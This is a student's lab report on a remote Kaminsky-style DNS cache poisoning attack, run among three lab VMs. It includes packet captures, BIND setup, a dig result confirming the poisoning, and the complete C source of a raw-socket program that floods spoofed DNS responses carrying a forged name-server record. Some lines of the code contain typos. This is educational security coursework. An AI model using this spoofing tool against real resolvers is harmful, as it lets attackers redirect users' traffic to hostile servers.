

CSE644 Lab6
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In this task, I use three VMs, they are VM1, VM2, and VM3. They are all in the same NatNetwork.


VM1, it has IP address 10.0.2.20, it is the attacker machine.

VM2, it has IP address 10.0.2.21, it is the DNS server machine.

VM3, it has IP address 10.0.2.25, it is the user machine.


Before doing attack, I follow the steps on the lab description to configure all machines.

Task1: Remote Cache Poisoning



```
VM2 [Running]
/bin/bash
[03/23/18]seed@VM:~$ sudo rndc flush
[sudo] password for seed:
[03/23/18]seed@VM:~$ sudo rndc dumpdb -cache
[03/23/18]seed@VM:~$
```


screenshot0 on VM2. Before attack, I clean up the cache of the DNS server



```
VM1 [Running]
/bin/bash
[03/23/18]seed@VM:~$ gcc -o udp udp.c -lpcap
[03/23/18]seed@VM:~$ sudo ./udp 199.43.133.53 10.0.2.21
[sudo] password for seed:
```

screenshot1 on VM1 (attacker). Running the DNS attack program on VM1 to start our attack

One example of my DNS query packet



VM2 [Running]

any

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
1	2018-03-23 19:28:33.0927989...	10.0.2.20	10.0.2.21	DNS	119	Standard query 0x6745 A aaaba.example.com
2	2018-03-23 19:28:33.0928246...	199.43.133.53	10.0.2.21	DNS	218	Standard query response 0xffff A aaaba.example.com ...
3	2018-03-23 19:28:33.0929798...	199.43.133.53	10.0.2.21	DNS	218	Standard query response 0xfdff A aaaba.example.com ...

Frame 1: 119 bytes on wire (952 bits), 119 bytes captured (952 bits) on interface 0
► Linux cooked capture
► Internet Protocol Version 4, Src: 10.0.2.20, Dst: 10.0.2.21
► User Datagram Protocol, Src Port: 42777, Dst Port: 53
► Domain Name System (query)
[Response In: 21741]
Transaction ID: 0x6745
► Flags: 0x0100 Standard query
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 0
► Queries
aaaba.example.com: type A, class IN
Name: aaaba.example.com
[Name Length: 17]
[Label Count: 3]
Type: A (Host Address) (1)
Class: IN (0x0001)

0000 00 00 01 00 06 08 00 27 70 24 fd 00 00 08 00 'p\$....
0010 45 00 00 67 23 c6 00 00 6e 11 10 98 0a 00 02 14 E..g#.. n....
0020 0a 00 02 15 a7 19 00 35 00 53 3f fa 67 45 01 005 .?7 .gE..
0030 00 01 00 00 00 00 00 05 61 61 61 62 61 07 65aaaba.e
0040 78 61 6d 70 6c 65 03 63 6f 6d 00 00 01 00 01 00 xample.c om.....
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

_packets: 180929 - Displayed: 180929 (100.0%)

Profile: Default

One example of my DNS response packet

VM2 [Running]

Apply a display filter ...<Ctrl/> Expression...

No.	Time	Source	Destination	Protocol	Length	Info
1	2018-03-23 19:28:33.0927989...	10.0.2.20	10.0.2.21	DNS	119	Standard query 0x6745 A aaaba.example.com
2	2018-03-23 19:28:33.0928246...	199.43.133.53	10.0.2.21	DNS	218	Standard query response 0xffff A aaaba.example.com ...
3	2018-03-23 19:28:33.0929798...	199.43.133.53	10.0.2.21	DNS	218	Standard query response 0xfdff A aaaba.example.com ...

Frame 2: 218 bytes on wire (1744 bits), 218 bytes captured (1744 bits) on interface 0

Linux cooked capture

Internet Protocol Version 4, Src: 199.43.133.53, Dst: 10.0.2.21

User Datagram Protocol, Src Port: 53, Dst Port: 33333

Domain Name System (response)

 Transaction ID: 0xffff

 Flags: 0x8400 Standard query response, No error

 Questions: 1

 Answer RRs: 1

 Authority RRs: 1

 Additional RRs: 1

 Queries

 aaaba.example.com: type A, class IN

 Name: aaaba.example.com

 [Name Length: 17]

 [Label Count: 3]

 Type: A (Host Address) (1)

 Class: IN (0x0001)

 Answers

 aaaba.example.com: type A, class IN, addr 1.1.1.1

 Name: aaaba.example.com

0000 00 00 00 01 00 06 08 00 27 70 24 fd 00 00 08 00 'p\$....

0010 45 00 00 ca 48 73 00 00 6e 11 ab 3a c7 2b 85 35 E...Hs. n...+.5

0020 00 00 02 15 00 35 82 35 00 b6 3f 36 fe ff 84 005.5 ..?6...

0030 00 00 01 00 01 00 01 05 61 61 61 62 01 07 65aaaba.e

0040 78 61 6d 70 6c 65 03 63 6f 6d 00 00 01 00 01 c0 xample.c om....

0050 00 00 01 00 01 00 00 20 00 00 04 01 01 01 01 07

0060 65 73 61 6d 70 6c 65 03 63 6f 6d 00 00 02 00 01 example. com....

0070 00 00 01 00 00 17 02 62 73 0e 64 6e 73 6c 61 62n s.dnslab

0080 61 74 61 63 6b 65 72 03 6e 65 74 02 0e 73 attacker .net..ns

0090 0e 66 6e 73 6c 61 62 61 74 61 63 6b 65 72 03 .dnslabattacker.

00a0 0e 65 74 00 01 00 01 00 00 20 00 04 01 01 net....

wireshark_any_20180323192828_Xopnol

Packets: 180929 · Displayed: 180929 (100.0%)

Profile: Default

VM2 [Running]

Apply a display filter ...<Ctrl/> Expression...

No.	Time	Source	Destination	Protocol	Length	Info
1	2018-03-23 19:28:33.0927989...	10.0.2.20	10.0.2.21	DNS	119	Standard query 0x6745 A aaaba.example.com
2	2018-03-23 19:28:33.0928246...	199.43.133.53	10.0.2.21	DNS	218	Standard query response 0xffff A aaaba.example.com ...
3	2018-03-23 19:28:33.0929798...	199.43.133.53	10.0.2.21	DNS	218	Standard query response 0xfdff A aaaba.example.com ...

Answers

 aaaba.example.com: type A, class IN, addr 1.1.1.1

 Name: aaaba.example.com

 Type: A (Host Address) (1)

 Class: IN (0x0001)

 Time to live: 8192

 Data length: 4

 Address: 1.1.1.1

 Authoritative nameservers

 example.com: type NS, class IN, ns ns.dnslabattacker.net

 Name: example.com

 Type: NS (authoritative Name Server) (2)

 Class: IN (0x0001)

 Time to live: 8192

 Data length: 23

 Name Server: ns.dnslabattacker.net

 Additional records

 ns.dnslabattacker.net: type A, class IN, addr 1.1.1.1

 Name: ns.dnslabattacker.net

 Type: A (Host Address) (1)

 Class: IN (0x0001)

0030 00 01 00 01 00 01 05 61 61 61 62 61 07 65aaaba.e

0040 78 61 6d 70 6c 65 03 63 6f 6d 00 00 01 00 01 c0 xample.c om....

0050 0e 00 01 00 01 00 00 20 00 00 04 01 01 01 07

0060 65 73 61 6d 70 6c 65 03 63 6f 6d 00 00 02 00 01 example. com....

0070 00 00 20 00 00 17 02 62 73 0e 64 6e 73 6c 61 62n s.dnslab

0080 61 74 61 63 6b 65 72 03 6e 65 74 02 0e 73 attacker .net..ns

0090 0e 64 6e 73 6c 61 62 61 74 61 63 6b 65 72 03 .dnslabattacker.

00a0 0e 65 74 00 01 00 01 00 00 20 00 04 01 01 net....

00b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00


00c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Text item (text), 16 bytes

Packets: 180929 · Displayed: 180929 (100.0%)

Profile: Default



screenshot2. Wireshark captures the DNS query and response packets sent from VM1 to VM2, the above screenshot shows whole information contained in the DNS query and response packets

```

VM2 [Running]
/bin/bash 124x34
[03/23/18]seed@VM:~$ sudo rndc dumpdb -cache
[03/23/18]seed@VM:~$ sudo cat /var/cache/bind/dump.db | grep dnslabattacker
[03/23/18]seed@VM:~$ sudo rndc dumpdb -cache
[03/23/18]seed@VM:~$ sudo cat /var/cache/bind/dump.db | grep dnslabattacker
[03/23/18]seed@VM:~$ sudo rndc dumpdb -cache
[03/23/18]seed@VM:~$ sudo cat /var/cache/bind/dump.db | grep dnslabattacker
[03/23/18]seed@VM:~$ sudo rndc flush
[03/23/18]seed@VM:~$ sudo rndc dumpdb -cache
[03/23/18]seed@VM:~$ sudo cat /var/cache/bind/dump.db | grep dnslabattacker
example.com. 8178 NS ns.dnslabattacker.net.
[03/23/18]seed@VM:~$ 

```

Screenshot3.1 on VM2. Periodically check the dump.db file on VM2 to see if the DNS server cache is poisoned or not. After some tries, our server name is cached in the local DNS server

```

/bin/bash
; additional
86376 RRSIG DS 8 1 86400 (
20180405170000 20180323160000 41824 .
h9428WXCVjt+EiZqTTPL3lc/XIdbd6dkdCP
0M3gkYjIMKfExZ2r8WiC5BccH0ieL2UJ9GKr
0kewejMcAwRo0X834HNFQwZ1DSTby0d9aNz0
YVd40Rtpk/J2rhpHo8ZvneUXD0E17/+Ry9TG
6V23HZcx1BnvMH+NpTxILcdImsWb1jrm5iAr
xs8JXHAzklBnvMH+NpTxILcdImsWb1jrm5iAr
trCbuLzPFTAZ/Py0ZUFZwc4roenfrEGSuXX
M0Wx+6m0oHWNPVEV1PIfj2gwlgpGqCK9umi
CFn5+jyuqWPi2inoDZb6cBxrcnI3TdUjhqjn
rjAy49q6tS9UuCKtmA== )

; authauthority
example.com. 8178 NS ns.dnslabattacker.net.

; additional
86376 DS 31406 8 1 (
189968811E6EBA862DD6C209F75623D8D9ED
9142 )
86376 DS 31406 8 2 (
F78CF334F72137235098ECBBD08947C2C90
01C7F6A085A17F518B5D8F6B916D )
86376 DS 31589 8 1 (
3490A6806D47F17A34C29E2CE80E8A999FFB
E4BE )
86376 DS 31589 8 2 (
CDE0D742D6998AA554A92D890F8184C698CF
AC8A26FA59875A990C03E576343C )
86376 DS 43547 8 1 (
B6225AB2CC613E0DCA7962BDC2342EA4F1B5
6083 )
86376 DS 43547 8 2 (
615A64233543F66F44D68933625B17497C89

```

screenshot3.2 on VM2. After we run the DNS program a while, we successfully poisoned cache of the DNS server VM2. So, our attack is successful

Observation and Explanation:

In this task, we want to perform the remote DNS cache poisoning attack; so, after attack, the DNS server should cache ns.dnslabattacker.net as the name server for the domain example.com in authority section.

Firstly, we followed the steps on the lab description to configure the attacker machine (VM1) and DNS server (VM2). Afterwards, we clean up the DNS server cache (screenshot0). And then we run the attacking program (udp.c) on the attacker machine (screenshot1). And then we need to wait until a forged DNS response is accepted by the DNS server. After the DNS server accepted one of our forged DNS response, we can open the dump.db file to confirm that the DNS server cache is poisoned. As the screenshot3.2 shows, VM2 cached ns.dnslabattacker.net as the name server for the domain example.com. Therefore, our attack is successful.

For this task, there are several important things. The first one is the mechanism of the attack. When the DNS server receives a query, and it does not have the answer; it will send DNS query to the other DNS server on the internet for asking answer. If the attacker's spoofed DNS response reaches the DNS server earlier than the real DNS response, then the spoofed response will be accepted by the DNS server. However, there is a problem, when the attacker and the DNS server are not in the same local network, the attacker cannot get transaction ID by sniffing, so the attacker need to try 2^{16} different transaction ID (in this lab, port number is fixed, so we just ignore it). But this lead to another problem, when the DNS server receives a query, it will ask other DNS server for answer. Once it receives the answer, it will cache the answer for hours, days, even months. Then the attacker can only have one chance to try, it seems impossible to make the attack succeed. With Kaminsky algorithm, the problem is solved. Instead sending query of desired domain (i.e. example.com), we can send query about fake subdomain, such as

aaaaa.example.com. After the DNS server send query to other DNS servers, we continuously send spoofed DNS responses with different transaction IDs to the target DNS server. In the spoofed DNS response, it contains the forged name server record. If the DNS server accepts the real DNS response, we can generate another query with different subdomain, and try again. So, with this mechanism, the attacker has many chances to try. If the forged DNS response is accepted by the DNS server, the forged name server record will be cached in the server. Then if a user asks the IP address of the example.com to the DNS server, because the forged name server is cashed, the DNS server will directly ask the forged name server for the IP address. Because the forged name server is belonged to the attacker, the attacker can reply anything he want. After the DNS server receives the forged answer from the attacker, it will return the forged answer to the user.

Another important thing is the DNS attack program. This program is used to forge and send DNS query and response to the target DNS server. After we run the program on VM1. The program generates an DNS query firstly (with subdomain name of example.com, i.e. aaaaa.example.com), and then it sends the query to the DNS server. Afterwards, it will generate 2^{16} DNS response packets corresponding to the DNS query, and each of them has different transaction ID. Of course, all these DNS responses will be sent to DNS server as well. If none of these DNS responses is accepted by the DNS server, then the program will generate another DNS query with different subdomain name of example.com (i.e. aaaab.example.com), and then it generates another 2^{16} DNS response and send to the DNS server. It will keep doing such procedure until one forged DNS response is accepted by the DNS server. If one of the DNS response is accepted by the DNS server, then we can stop the program and check the dump.db file of the DNS server. We should see that “example.com NS ns.dnslabattacker.net” is cached in this file (screenshot3.2). This means our attack is successful.

The following is my code of the DNS attack program. One thing needs to notice, the source IP address and destination IP address of DNS query packet are hard code, they are 10.0.2.20 (VM1, attacker) and 10.0.2.21 (VM2, DNS server). And the source IP address and destination IP address of DNS response packets need to be input by the attacker in the command line.

```
// ----udp.c-----  
  
// This sample program must be run by root lol!  
  
//  
  
// The program is to spoofing tons of different queries to the victim.  
  
// Use wireshark to study the packets. However, it is not enough for  
// the lab, please finish the response packet and complete the task.  
  
//  
  
// Compile command:  
  
// gcc -lpcap udp.c -o udp  
  
//  
  
//
```

```

#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <libnet.h>

// The packet length
#define PCKT_LEN 8192
#define FLAG_R 0x8400
#define FLAG_Q 0x0100

char *TARGET_DOMAIN = "\7example\3com"; // target domain
char *ANSWER_IPADDR = "1.1.1.1"; // a forged IP address, no useful
char *SUB_DOMAIN = "\5aaaa\7example\3com"; // format of subdomain will be used in the attack
char *NS_SERVER = "\2ns\16dnslabattacker\3net"; // the name server address of the attacker, which will
be poisoned in the DNS server cache
char *NS_IPADDR = "1.1.1.1"; // IP address of the attacker name server, set in the additional section,
but no useful

// Can create separate header file (.h) for all headers' structure

// The IP header's structure
struct ipheader {
    unsigned char      iph_ihl:4, iph_ver:4;
    unsigned char      iph_tos;
    unsigned short int iph_len;
}

```

```
unsigned short int iph_ident;

//    unsigned char      iph_flag;
unsigned short int iph_offset;

unsigned char      iph_ttl;

unsigned char      iph_protocol;

unsigned short int iph_chksum;

unsigned int       iph_sourceip;

unsigned int       iph_destip;

};

// UDP header's structure
struct udpheader {

    unsigned short int udph_srcport;

    unsigned short int udph_destport;

    unsigned short int udph_len;

    unsigned short int udph_chksum;

};

struct dnsheader {

    unsigned short int query_id;

    unsigned short int flags;

    unsigned short int QDCOUNT;
```

```
unsigned short int ANCOUNT;

unsigned short int NSCOUNT;

unsigned short int ARCOUNT;

};

// total udp header length: 8 bytes (=64 bits)

unsigned int checksum(uint16_t *usBuff, int isize){

    unsigned int cksum=0;

    for(;isize>1;isize-=2){

        cksum+=*usBuff++;

    }

    if(isize==1){

        cksum+=*(uint16_t *)usBuff;

    }

    return (cksum);

}

// calculate udp checksum

uint16_t check_udp_sum(uint8_t *buffer, int len){

    unsigned long sum=0;

    struct ipheader *tempI=(struct ipheader *)(buffer);

    struct udphandler *tempH=(struct udphandler *)(buffer+sizeof(struct ipheader));
```

```

    struct dnsheader *tempD=(struct dnsheader *)(buffer+sizeof(struct ipheader)+sizeof(struct
    udpheader));

    tempH->udph_chksum=0;

    sum=checksum( (uint16_t *)  &(tempI->iph_sourceip) ,8 );

    sum+=checksum((uint16_t *) tempH,len);

    sum+=ntohs(IPPROTO_UDP+len);

    sum=(sum>>16)+(sum & 0x0000ffff);

    sum+=(sum>>16);

    return (uint16_t)(~sum);
}

// Function for checksum calculation. From the RFC,

// the checksum algorithm is:

// "The checksum field is the 16 bit one's complement of the one's

// complement sum of all 16 bit words in the header. For purposes of

// computing the checksum, the value of the checksum field is zero."

unsigned short csum(unsigned short *buf, int nwords){

    unsigned long sum;

    for(sum=0; nwords>0; nwords--)
        sum += *buf++;
}

```

```

        sum = (sum >> 16) + (sum &0xffff);

        sum += (sum >> 16);

        return (unsigned short)(~sum);
    }

//this function is used to fill up the question section of DNS query/response packet
unsigned short set_Q_record(char *buffer, char *name){

    //get the current pointer position in the buffer
    char *p = buffer;
    // add domain name in to the buffer
    strcpy(p, name);
    p += strlen(name) + 1;
    // add value of record type into buffer
    *((unsigned short *)p) = htons (0x0001);
    p += 2;
    // add value of class into buffer
    *((unsigned short *)p) = htons (0x0001);
    p += 2;
    //return the current pointer position in the buffer
    return (p - buffer);
}

//this function is used to fill up the answer/additional section of DNS response packet
unsigned short set_A_record(char *buffer, char *name, char offset, char *ip_addr){

    //get the current pointer position in the buffer
    char *p = buffer;
    // add domain name in to the buffer
    if(name == NULL){
        *p = 0xC0; p++;

```

```

        *p = offset; p++;
    }

    else {
        strcpy(p, name);

        p += strlen(name) + 1;
    }

    // add value of record type into buffer
    *((unsigned short *)p) = htons (0x0001);

    p += 2;

    // add value of class into buffer
    *((unsigned short *)p) = htons (0x0001);

    p += 2;

    // add value of time to live into buffer
    *((unsigned int *)p) = htonl (0x00002000);

    p += 4;

    // add value of data length into buffer
    *((unsigned short *)p) = htons (0x0004);

    p += 2;

    // add value of domain IP address into buffer
    ((struct in_addr *)p) ->s_addr = inet_addr(ip_addr);

    p += 4;

    //return the current pointer position in the buffer
    return (p - buffer);
}

//this function is used to fill up the authority section of DNS response packet
unsigned short set_NS_record(char *buffer, char *domain_name, char offset, char *server_name){

    char *p = buffer;
    // add domain name in to buffer
    strcpy(p, domain_name);

    p += strlen(domain_name) + 1;
    // add value of record type into buffer
}

```

```

*((unsigned short *)p) = htons (0x0002);
p += 2;
// add value of record class into buffer
*((unsigned short *)p) = htons (0x0001);
p += 2;
// add value of time to live into buffer
*((unsigned int *)p) = htonl (0x00002000);
p += 4;
// add value of data length into buffer
*((unsigned short *)p) = htons (0x0017);
p += 2;
//add nameserver into buffer
strcpy(p, server_name);
p += strlen(server_name) + 1;
//return the current pointer position in the buffer
return (p - buffer);
}

int main(int argc, char *argv[]){
// This is to check the argc number
if(argc != 3){
    printf("- Invalid parameters!!!\nPlease enter 2 ip addresses\nFrom first to last:src_IP
dest_IP \n");
    exit(-1);
}

// socket descriptor
int sd;

char buffer[PCKT_LEN]; // buffer to hold the DNS query packet
char reply_buffer[PCKT_LEN]; // buffer to hold the DNS response packet

// set the buffer to 0 for all bytes
memset(buffer, 0, PCKT_LEN);
memset(reply_buffer, 0, PCKT_LEN);

```

```

// construct the head structure for both DNS query packet and DNS response packet

struct ipheader *ip = (struct ipheader *) buffer;
struct ipheader *reply_ip = (struct ipheader *) reply_buffer;

struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
struct udpheader *reply_udp = (struct udpheader *) (reply_buffer + sizeof(struct ipheader));

struct dnsheader *dns=(struct dnsheader*) (buffer +sizeof(struct ipheader)+sizeof(struct
udpheader));
struct dnsheader *reply_dns=(struct dnsheader*) (reply_buffer +sizeof(struct
ipheader)+sizeof(struct udpheader));

// data is the pointer points to the first byte of the dns payload
char *data=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader));
char *reply_data=(reply_buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct
dnsheader));

/////////////////////////////




// dns fields(UDP payload field)

// relate to the lab, you can change them. begin:

/////////////////////////////




//Code for constructing DNS query
dns->flags=htons(FLAGS_Q); //set flag to be DNS query
dns->QDCOUNT=htons(1); //there are only one section, which is question section
data += set_Q_record(data, SUB_DOMAIN); //set all field of question section of DNS query packet
int length = data - buffer; //get the whole size of the DNS query packet payload

//Code for constructing DNS response
reply_dns->flags=htons(FLAGS_R); //set flag to be DNS response

```

```

//there are four section in the response packet
reply_dns->QDCOUNT=htons(1); // one question section
reply_dns->ANCOUNT=htons(1); // one answer section
reply_dns->NSCOUNT=htons(1); // one authority section
reply_dns->ARCOUNT=htons(1); // one additional section
//set all field of question section
reply_data += set_Q_record(reply_data, SUB_DOMAIN);
//set all field of answer section
reply_data += set_A_record(reply_data, NULL, 0x0C, ANSWER_IPADDR);
//set all field of authority section
reply_data += set_NS_record(reply_data, TARGET_DOMAIN, 0, NS_SERVER);
//set all field of additional section
reply_data += set_A_record(reply_data, NS_SERVER, 0, NS_IPADDR);
//get the whole payload size of DNS reply packet
int reply_length = reply_data - reply_buffer;

```

```
//////////
```

```
//
```

```
// DNS format, relate to the lab, you need to change them, end
```

```
//
```

```
//////////
```

```
*****
```

Construction of the packet is done.

now focus on how to do the settings and send the packet we have composed out

```
******/
```

```
// Source and destination addresses: IP and port

struct sockaddr_in sin, din;

int one = 1;

const int *val = &one;

dns->query_id=rand(); // transaction ID for the query packet, use random #

// Create a raw socket with UDP protocol

sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);

if(sd<0 ) // if socket fails to be created

printf("socket error\n");

// The source is redundant, may be used later if needed

// The address family

sin.sin_family = AF_INET;

din.sin_family = AF_INET;

// Port numbers

sin.sin_port = htons(33333);

din.sin_port = htons(53);

// IP addresses

sin.sin_addr.s_addr = inet_addr(argv[2]); // this is the second argument we input into the program
```

```

din.sin_addr.s_addr = inet_addr(argv[1]); // this is the first argument we input into the program

// construct the DNS query packet IP header
ip->iph_ihl = 5;

ip->iph_ver = 4;

ip->iph_tos = 0; // Low delay

unsigned short int packetLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(struct dnsheader)+length); // length == UDP_payload_size

ip->iph_len=htons(packetLength);

ip->iph_ident = htons(rand()); // we give a random number for the identification#

ip->iph_ttl = 110; // hops

ip->iph_protocol = 17; // UDP

// Source IP address of DNS query packet, it's the IP address of VM1 (attacker)
ip->iph_sourceip = inet_addr("10.0.2.20");

// The destination IP address of DNS query packet, it's the IP address of VM2 (DNS server)
ip->iph_destip = inet_addr("10.0.2.21");

// Fabricate the DNS query packet UDP header.

udp->udph_srcport = htons(40000+rand()%10000); // source port number

udp->udph_destport = htons(53); // Destination port number

udp->udph_len = htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length); // udp_header_size + udp_payload_size

// Calculate the checksum for integrity//

```

```
ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct  
udphdr));  
  
udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader));  
  
*****8
```

Tips

the checksum is quite important to pass the checking integrity. You need

to study the algorithem and what part should be taken into the calculation.

!!!!If you change anything related to the calculation of the checksum, you need to re-calculate it or the packet will be dropped.!!!!

Here things became easier since I wrote the checksum function for you. You don't need

to spend your time writing the right checksum function.

Just for knowledge purpose,

remember the seconed parameter

for UDP checksum:

ipheader_size + udphdr_size + udpData_size

```

for IP checksum:

ipheader_size + udpheader_size

*****/



//construct the DNS response packet IP header

reply_ip->iph_ihl = 5;

reply_ip->iph_ver = 4;

reply_ip->iph_tos = 0; // Low delay

unsigned short int reply_packetLength =(sizeof(struct ipheader) + sizeof(struct
udpheader)+sizeof(struct dnsheader)+reply_length); // reply_length == UDP_payload_size

reply_ip->iph_len=htons(reply_packetLength);

reply_ip->iph_ident = htons(rand()); // we give a random number for the identification#


reply_ip->iph_ttl = 110; // hops

reply_ip->iph_protocol = 17; // UDP

// Source IP address of DNS response packet, need input by the user in command line

reply_ip->iph_sourceip = inet_addr(argv[1]); //the source IP address could be 199.43.133.53 or
199.43.135.53

// The destination IP address of DNS response packet, need input by the user in command line

reply_ip->iph_destip = inet_addr(argv[2]); //in my case the destination IP address is 10.0.2.21
(VM2)

// construct the DNS response packet UDP header.

reply_udp->udph_srcport = htons(53); // source port number

```

```

reply_udp->udph_destport = htons(33333); // in this lab, the destination port number is fixed

reply_udp->udph_len = htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+reply_length); // udp_header_size + udp_payload_size

// Calculate the checksum for integrity//

reply_ip->iph_chksm = csum((unsigned short *)reply_buffer, sizeof(struct ipheader) +
sizeof(struct udpheader));

reply_udp->udph_chksm=check_udp_sum(reply_buffer, reply_packetLength-sizeof(struct ipheader));

// Inform the kernel do not fill up the packet structure. we will build our own...
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0 )
{
    printf("error\n");

    exit(-1);
}

//keep send out DNS query and response until our attack is successful
while(1{

    //move the point to the beginning of the DNS packet payload, so we can change to different
xxxxx.example.com (i.e. aaaaa.example.com, aaaab.example.com...etc.)

    data=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader));

    reply_data=(reply_buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct
dnsheader));

    //randomly generate subdomain in the form of xxxxx.example.com
    int charnumber;
    charnumber=1+rand()%5;
    *(data+charnumber)+=1;
    *(reply_data+charnumber)+=1;

    // recalculate the checksum for the UDP packet of DNS query packet
    udp->udph_chksm=check_udp_sum(buffer, packetLength-sizeof(struct ipheader));
}

```

```
// send the DNS query packet out.

if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
    printf("packet send error %d which means %s\n",errno,strerror(errno));

unsigned short int count = 65535;

//generate 2^16 DNS response packet, each of them has different transaction ID


while(count--){
    //set transaction ID to the current DNS response packet
    reply_dns->query_id = count;
    // recalculate the checksum for the UDP packet of DNS response packet
    reply_udp->udph_chksum=check_udp_sum(reply_buffer, reply_packetLength-sizeof(struct ipheader));
    //send the DNS response packet out
    if(sendto(sd, reply_buffer, reply_packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        printf("packet send error %d which means %s\n",errno,strerror(errno));

    }
}

close(sd);

return 0;
}
```

Task2: Result Verification



VM2 [Running] /bin/bash 124x34 Friday, 23 March 2018

```
// prime the server with knowledge of the root servers
zone "." {
    type hint;
    file "/etc/bind/db.root";
};

// be authoritative for the localhost forward and reverse zones, and for
// broadcast zones as per RFC 1912
zone "localhost" {
    type master;
    file "/etc/bind/db.local";
};

zone "127.in-addr.arpa" {
    type master;
    file "/etc/bind/db.127";
};

zone "0.in-addr.arpa" {
    type master;
    file "/etc/bind/db.0";
};

zone "255.in-addr.arpa" {
    type master;
    file "/etc/bind/db.255";
};

zone "ns.dnslabattacker.net" {
    type master;
    file "/etc/bind/db.attacker";
};

"/etc/bind/named.conf.default-zones" 33L, 582C
```

33,1 All

The terminal window shows the configuration of the named server. It includes zones for the root, localhost, 127.in-addr.arpa, 0.in-addr.arpa, 255.in-addr.arpa, and ns.dnslabattacker.net. The configuration file is named named.conf.default-zones and contains 33 lines with a total of 582 characters. A calendar window is visible in the top right corner, showing the month of March 2018 with the 23rd highlighted in red.

screenshot1 on VM2. Configure named.conf.default-zones on VM2




VM2 [Running] /bin/bash 124x34 Friday, 23 March 2018

```
[03/23/18]seed@VM:~$ ls /etc/bind
192.168.0.db  db.0  db.255  db.empty  db.root  named.conf  named.conf.default-zones  named.conf.local  rndc.key
bind.keys  db.127  db.attacker  db.local  example.com.db  named.conf.options  zones.rfc1918
```

[03/23/18]seed@VM:~\$

The terminal window shows the output of the ls command in the /etc/bind directory. It lists several files: 192.168.0.db, db.0, db.255, db.empty, db.root, bind.keys, db.127, db.attacker, db.local, example.com.db, named.conf, named.conf.default-zones, named.conf.options, rndc.key, and zones.rfc1918.

screenshot2 on VM2. Add db.attacker to VM2



VM1 [Running] /bin/bash 124x34 Friday, 23 March 2018

```
// Do any local configuration here
//
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";


zone "example.com" {
    type master;
    file "/etc/bind/example.com.db";
};

"/etc/bind/named.conf.local" 13L, 248C
```

1,1 All

This screenshot shows a terminal window on a Linux desktop. The terminal is running a bash shell and displays the configuration for a DNS zone named 'example.com'. The configuration includes a 'zone' block with 'type master' and 'file "/etc/bind/example.com.db"'. The terminal window is titled 'VM1 [Running]' and shows the date and time as 'Friday, 23 March 2018' and '7:38 PM'. The desktop environment includes a taskbar with icons for various applications like a browser, file manager, and terminal, and a calendar window showing the month of March 2018.

screenshot3 on VM1. Configure named.conf.local on VM1




VM1 [Running] /bin/bash 124x34 7:39 PM

```
[03/23/18]seed@VM:~$ ls /etc/bind
bind.keys  db.127  db.empty  db.root      named.conf      named.conf.local  rndc.key
db.0        db.255  db.local   example.com.db  named.conf.default-zones  named.conf.options  zones.rfc1918
[03/23/18]seed@VM:~$
```

This screenshot shows a terminal window on a Linux desktop. The terminal is running a bash shell and lists the files in the '/etc/bind' directory. The files listed are bind.keys, db.127, db.empty, db.root, named.conf, named.conf.local, rndc.key, db.0, db.255, db.local, example.com.db, named.conf.default-zones, named.conf.options, and zones.rfc1918. The terminal window is titled 'VM1 [Running]' and shows the date and time as '03/23/18' and '7:39 PM'.

screenshot4 on VM1. Add example.com.db into VM1.





VM3 [Running] /bin/bash 124x34 7:39 PM

```
[03/23/18]seed@VM:~$ dig www.example.com
; <>> Dig 9.10.3-P4-Ubuntu <>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<- opcode: QUERY, status: NOERROR, id: 39334
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; OPT PSEUDOSECTION:
;; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
www.example.com.      IN      A
;; ANSWER SECTION:
www.example.com. 259200  IN      A      1.1.1.1
;; AUTHORITY SECTION:
example.com.        7902    IN      NS      ns.dnslabattacker.net.
;; ADDITIONAL SECTION:
ns.dnslabattacker.net. 604800  IN      A      10.0.2.20
ns.dnslabattacker.net. 604800  IN      AAAA   ::1
;; Query time: 1 msec
;; SERVER: 10.0.2.21#53(10.0.2.21)
;; WHEN: Fri Mar 23 19:39:24 EDT 2018
;; MSG SIZE rcvd: 139
```

This screenshot shows a terminal window on a Linux desktop. The terminal is running a bash shell and displays the output of the 'dig' command for 'www.example.com'. The output shows the DNS query, answer, authority, and additional sections. The answer section shows the IP address 1.1.1.1 for the www.example.com record. The terminal window is titled 'VM3 [Running]' and shows the date and time as '03/23/18' and '7:39 PM'.

screenshot5 on VM1. After all configuration, I run "dig www.example.com" on VM3, the IP address of www.example.com becomes 1.1.1.1, our attack is successful





screenshot6. Wireshark captures the whole traffic. And the above screenshots also show what is inside in the DNS response packet sent from the local DNS server (VM2) to the client (VM3)

Observation and Explanation:

